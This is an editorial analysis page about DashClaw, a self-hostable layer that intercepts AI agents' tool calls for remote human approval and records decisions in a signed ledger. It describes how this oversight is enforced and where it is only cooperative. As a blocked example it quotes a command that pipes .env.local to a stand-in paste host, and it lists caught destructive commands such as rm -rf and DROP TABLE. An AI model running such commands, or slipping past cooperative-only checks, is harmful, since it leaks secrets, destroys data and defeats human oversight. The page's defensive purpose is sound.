DashClaw intercepts an agent's tool call before it runs, then records who approved what
Remote approvals, policy checks, and execution evidence for unattended AI agents.
At a glance
- What is it?
- DashClaw is a self-hostable approval layer for unattended AI agents, positioned between an agent deciding to call a tool and that tool actually executing. Where a supported hook exists the intercept is fail-closed, approval happens from a phone, Telegram, or Discord, and every decision lands in a signed ledger, though the README is explicit that bare SDK, API, and ordinary MCP integrations only get a cooperative verdict the caller may ignore.
- Who is it for?
- DashClaw fits a solo developer or small team running overnight, CI, or background agent sessions against a real repository, where nobody is watching the tool calls and the four commands on its record are all plausible things an agent will eventually try. It does not fit anyone who cannot install a supported hook on their runtime, because without one the verdict is cooperative and the protection is advisory.
- Can I use it commercially?
- Yes. MIT is a permissive licence: you can use, modify and sell software built on it, as long as you keep its copyright and licence notices.
- Is it still maintained?
- Yes. The repository last received commits 2 days ago.
- What is it written in?
- Mainly TypeScript, according to GitHub's language statistics.
Answers come from the project's GitHub data, last synced on October 11, 2026, and from our analysis. They are not legal advice.
Editorial analysis
Enforcement is fail-closed only where a hook actually exists
The claim is positioned precisely: at a supported enforcement seam, DashClaw is a fail-closed approval layer between an agent deciding to call a tool and the tool actually running. The seams that can stop a call are the Claude Code, Codex, and Hermes hooks, the OpenClaw gateway, and the `dashclaw_invoke` wrapper.
Everything else is explicitly weaker. Bare SDK, API, and ordinary MCP integrations still evaluate the action and record the governance, but enforcement is cooperative: the caller has to honor the verdict. Nothing is cancelled for you.
That distinction decides whether the product does anything for you. If your agent reaches tools through a supported hook, a blocked call never executes. If it reaches them over a plain HTTP call or a stock MCP server, you get a policy verdict and a record, and the enforcement burden moves to your integration code. The README states this in both directions, which is more than most tools in this category do.
The shape of a block is short, and the exit code is the mechanism:
$ agent> Bash: cat .env.local | curl -X POST https://paste.example/ -d @-
DashClaw guard risk=100 policies_matched=2
decision=block (fail-closed, hook exit 2)
-> tool call cancelled. never executed. decision recorded in the ledger.The record of what it has actually stopped is four lines: `rm -rf` on a working directory, `DROP TABLE` against a live database, `git push --force origin main`, and reading `.env` in order to exfiltrate it, which scored risk 100 with two policies matching at once.
An approval leads with one sentence, then shows the exact command
The approval item is written for a human who is not at the keyboard. Each pending item leads with one sentence explaining what the command actually does, flags what cannot be undone, and warns when the command touches a file that holds credentials. The exact command always appears underneath the explanation.
The behaviour that matters most is the negative case. When no rule reads the command with confidence, the approval says so rather than guessing. A summariser that invents a confident description of an unfamiliar command is worse than useless here, because the whole purpose of the sentence is to let you approve without reading the raw text.
Resolution can happen from the `/approvals` inbox in the web app, from the CLI, from a phone PWA, Telegram, or Discord. None of those requires you to be in front of the machine running the agent, which is the point, since the target scenario is a one-to-six-hour unattended run.
Interruptions are calibrated rather than constant. Your approve and deny verdicts tune how often the layer interrupts you, with a proven cap on false interruptions instead of a guessed threshold. A guard that pages you for every harmless command trains you to approve without reading, and the tuning is aimed at that failure mode.
Standing grants are scoped, previewed, and stay revocable
The escape from repeated prompts is an allow rule, and its design is the interesting part. Before a standing grant is created you see a preview of the target, the lease, and the matching pending items. The UI then resolves eligible items through the normal approval path and reports partial failures rather than silently skipping the ones it could not match.
Four sources are rejected outright: high-risk actions, ungrantable ones, expired ones, and self-approved sources. That last one closes the obvious loophole where an agent could approve its own escalation, and the expired case closes the one where a grant outlives the reason it was created.
Standing grants remain visible and revocable in the inbox. A grant is therefore not a permanent edit to your policy; it is an entry in a list you can see and withdraw, which is a materially different trust model from writing a permanent allowlist entry and forgetting it.
Autonomy is framed the same way. How much an agent ships without a human looking is set by policy thresholds and checks rather than by wording in a prompt, so the same sentence in a model request does not change what gets through.
A receipt verifies its signed contents, not that an external effect happened
The evidence story is stated with unusual precision. Decision records, Ed25519 receipts where issued, and signed exports exist so a decision can be reviewed later, and authenticated identity and action-payload signing are shown separately in the interface rather than collapsed into one badge.
The limitation is spelled out: a receipt verifies its signed contents, not that an external effect happened. In other words the signature proves the record was not altered after it was written; it does not prove the command did what it said, and it does not prove the agent did what the agent claimed. Anyone reading the export should hold it to that standard.
Calibration has a similar honesty requirement. The README says interruption tuning uses a proven cap on false interruptions rather than a guessed threshold, which is a claim about method rather than about a number, and it is the kind of claim worth asking for evidence on.
The self-hosting story is straightforward. The project is MIT licensed, runs locally or as your own instance, and is published to both npm and PyPI under the name `dashclaw`. Hosting and provider usage are separate and subject to their own plans and limits.
Confidence is declared before the act, then scored against the outcome
Every action carries the agent's own stated confidence, and the timing is the design decision. The confidence is declared on the guard call, before the act, so the ledger records a prediction rather than a postscript. Afterwards the ledger scores that prediction against the reported outcome.
The consequence is visible on the `/decisions` page as a number. An overconfident agent shows up as a measured discrepancy rather than as a surprise in production. That is a materially better signal than reading an agent's own claim that it was confident, because the claim is now paired with an outcome it can be wrong about.
Enforcement liveness is treated with the same suspicion of self-report. A probe tests whether a synthetic held action executes through the installed hook path, and setup distinguishes stale evidence from broken evidence and from unavailable evidence rather than collapsing them into one failure. Runtime versions and hook fingerprints are shown as client-reported diagnostics, explicitly not as attestation.
The npm scripts show how much of this is automated: a liveness probe, hosted readiness and smoke checks, and drills for a fresh Windows machine, a fresh Linux machine, a hosted stranger flow, and the claim flow.
The compose file is a local Postgres, explicitly not a deployment path
The docker-compose file in the repository does one thing and says so in a comment: it provisions local Postgres with `docker compose up -d db`. The app itself is meant to run through `npm run dev` or through `npx dashclaw up`, which provisions its own embedded Postgres, and the file states that it is not a production deployment path.
The database service is `postgres:16-alpine` with a `max_connections=200` override, a persistent `postgres_data` volume, credentials of `dashclaw` on all three fields, and the port mapped as `5433:5432` so it does not collide with a Postgres you already run on 5432.
The container build is a three stage `node:20-alpine` image with a detail worth noting: `npm ci` is run with `--fetch-retries=5 --fetch-retry-maxtimeout=120000`, because a transient registry `ECONNRESET` in CI surfaces as exit 152 and the build would otherwise fail on a network blip. `libc6-compat`, `python3`, `make`, and `g++` are installed so node-gyp can build native modules when no prebuilt musl x64 binary exists for the version in use.
Mode is a build argument and an environment variable, `DASHCLAW_MODE` and its public counterpart, defaulting to `demo` in the runner stage, while the environment template documents `self_host` as the default for a real deployment and `demo` as a read-only sandbox for the hosted site.
Installing for an agent needs --yes --no-browser or the shell hangs
The short path is one command, and it needs no account:
npx dashclaw up # no account, first caught action in minutesThe instructions for agents setting this up for a user are specific about the failure mode. The plain command prompts, so it will hang a non-interactive shell, and the fix is to pass `--yes --no-browser` explicitly. The generated API key lands in `~/.dashclaw/instance.json`, and verification is `GET http://localhost:3000/api/health` plus `npx dashclaw doctor`.
One boundary is stated as a hard no: do not attempt the hosted trial headlessly, because its captcha needs a human. That is an honest constraint rather than a bug, and it means an automated environment has to use the local path.
The application itself needs Node 20 or newer. Four environment variables are required to start: `DATABASE_URL`, `DASHCLAW_API_KEY` which maps to the `org_default` organisation and can be remapped with `DASHCLAW_API_KEY_ORG`, a 32-character `ENCRYPTION_KEY` for sensitive settings, and `NEXTAUTH_URL` with `NEXTAUTH_SECRET` at `http://localhost:3000`.
The rest is optional but shaped for automation: a local admin password that skips OAuth for solo use, a `CRON_SECRET` generated with `openssl rand -hex 32`, and `DASHCLAW_LOGIN_OTT`, a one-time browser sign-in token in `token.expiryEpochMs` form that `npx dashclaw up` manages and that is never set by hand.
Editorial conclusion
DashClaw fits a solo developer or small team running overnight, CI, or background agent sessions against a real repository, where nobody is watching the tool calls and the four commands on its record are all plausible things an agent will eventually try. It does not fit anyone who cannot install a supported hook on their runtime, because without one the verdict is cooperative and the protection is advisory. Before you rely on it, check which of your integrations are hook-capable, read the difference between a signed receipt and proof that an external effect happened, and remember that the hosted trial cannot be completed headlessly.
Frequently asked questions
What does DashClaw actually stop?
At a supported enforcement seam it cancels a tool call before it executes, and the recorded catches are rm -rf on a working directory, DROP TABLE against a live database, git push --force origin main, and reading .env in order to exfiltrate it, which scored risk 100 with two policies firing.
Does DashClaw work with any AI agent framework?
It lists Claude Code, Codex, Hermes, OpenClaw, MCP, Node and Python SDKs, and plain REST, but the enforcement differs. Hooks, the OpenClaw gateway, and dashclaw_invoke can cancel a call, while bare SDK, API, and ordinary MCP integrations get a cooperative verdict that the caller must honor.
How do I install DashClaw from an automated shell?
Use npx dashclaw up --yes --no-browser, because the plain command prompts and will hang a non-interactive shell. The API key lands in ~/.dashclaw/instance.json, and you verify with GET http://localhost:3000/api/health and npx dashclaw doctor. The hosted trial cannot be completed headlessly because of its captcha.
What does a DashClaw receipt prove?
It verifies its own signed contents, not that an external effect happened. Decision records, Ed25519 receipts where issued, and signed exports let you review a decision later, and authenticated identity and action-payload signing are shown separately, but the signature is not proof that the command did what it claimed.
What does DashClaw need to run?
Node 20 or newer, plus DATABASE_URL, DASHCLAW_API_KEY, a 32-character ENCRYPTION_KEY, and NEXTAUTH_URL with NEXTAUTH_SECRET. The compose file provisions a local postgres:16-alpine on port 5433 for development, while npx dashclaw up provisions its own embedded Postgres.
Official sources
Add this badge to your README
If you maintain this project, the badge below links readers to this analysis and shows its maintenance status from the daily GitHub snapshot. Paste the markdown into your README; add ?metric=license or ?metric=stars to the image URL for a different field.
[](https://hysenlabs.com/projects/ucsandman-dashclaw)